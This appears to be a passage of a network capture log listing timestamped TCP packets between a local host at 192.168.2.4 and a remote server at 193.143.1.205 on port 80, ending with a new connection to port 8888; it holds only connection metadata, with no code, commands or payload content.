Jan 11, 2025 03:30:29.724845886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724869013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.725326061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725339890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725354910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725368977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725383043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725392103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.725399017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725414991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725425005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.725429058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725444078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725459099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725472927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725485086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.725487947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725503922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.725513935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.725548029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.726195097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726211071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726226091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726238966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726252079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726258039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.726264954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726278067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726278067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.726289988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726301908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726314068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726325989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726336002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.726337910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726353884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.726377010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.726401091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727094889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727112055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727127075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727142096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727157116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727166891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727171898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727186918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727188110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727201939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727219105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727233887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727236986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727250099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727262974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727266073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.727307081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.727344036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728061914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728077888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728092909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728106976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728122950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728132963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728140116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728156090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728171110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728172064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728183031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728198051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728213072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728214979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728229046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728244066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728251934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728275061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.728952885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728979111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.728995085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729010105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729021072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.729026079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729042053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729043961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.729058981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729074955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729089975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729095936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.729106903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.729118109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.729146957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764086008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764128923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764148951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764173031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764307022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764324903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764339924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764378071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764401913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764522076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764539003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764554024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764566898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764591932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764620066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764740944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764755011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764767885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764784098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764796019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764800072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764825106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764864922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.764900923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764916897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.764981031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772171974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772195101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772212982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772248983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772284985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772305965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772324085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772341013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772358894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772383928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772584915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772603035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772619963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772634029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772644997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772670984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772829056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772845984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772865057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772876978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.772886038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.772910118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.776812077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.811965942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812000036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812011957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812067032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812093019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812208891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812222004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812235117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812247992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812271118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812294006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812470913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812484980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812495947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812508106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812520027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812536955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812571049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812768936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812781096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812793016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812803984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812815905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812823057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812829018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.812861919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.812886000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.813172102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813184977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813196898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813209057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813240051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.813277006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.813492060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813504934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813518047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813530922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813541889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813549042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.813551903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813564062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813577890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.813596010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.813652992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814084053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814095974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814107895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814119101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814130068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814140081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814153910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814153910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814165115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814178944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814188957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814193964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814199924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814214945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814227104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814234018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814238071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814270973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814296007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814877033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814889908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814899921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814920902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814933062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814941883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814944983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814959049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814961910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.814970016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814981937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814991951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.814995050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.815002918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815015078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815032959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.815068960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.815871954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815887928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815898895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815910101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815922976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815927982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.815934896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815948009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815958977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815970898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815978050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.815982103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.815992117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816004038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816014051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816029072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.816057920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.816793919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816808939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816821098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816833019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816843987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816854954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816865921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816876888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816883087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.816888094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816901922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816912889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816924095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816927910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.816934109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816943884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.816960096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.816986084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.817007065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.817630053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817643881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817655087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817667961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817678928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817691088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.817691088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.818378925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.818378925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.852790117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.852827072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.852838993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.852881908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.852894068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853029013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853029013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853029013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853040934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853051901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853087902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853121996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853295088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853307962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853321075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853332996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853353977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853393078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853523016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853534937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853547096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853558064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.853581905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.853612900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.860665083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860702991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860713959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860790014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.860867977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860882044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860893965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860905886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.860938072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.860966921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.861128092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861140966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861195087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.861270905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861283064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861294031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861330986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.861354113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.861428022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861442089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861454964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861464977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.861496925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.861521959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.900707960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.900767088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.900780916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.900924921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.900943995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.900959969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901015043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901094913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901108980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901122093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901134014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901145935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901145935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901169062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901216030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901484966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901498079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901510954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901524067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901571989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901704073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901717901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901730061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901740074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.901765108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.901791096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.971528053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:30.284815073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:30.708065987 CET	49731	8888	192.168.2.4	193.143.1.205
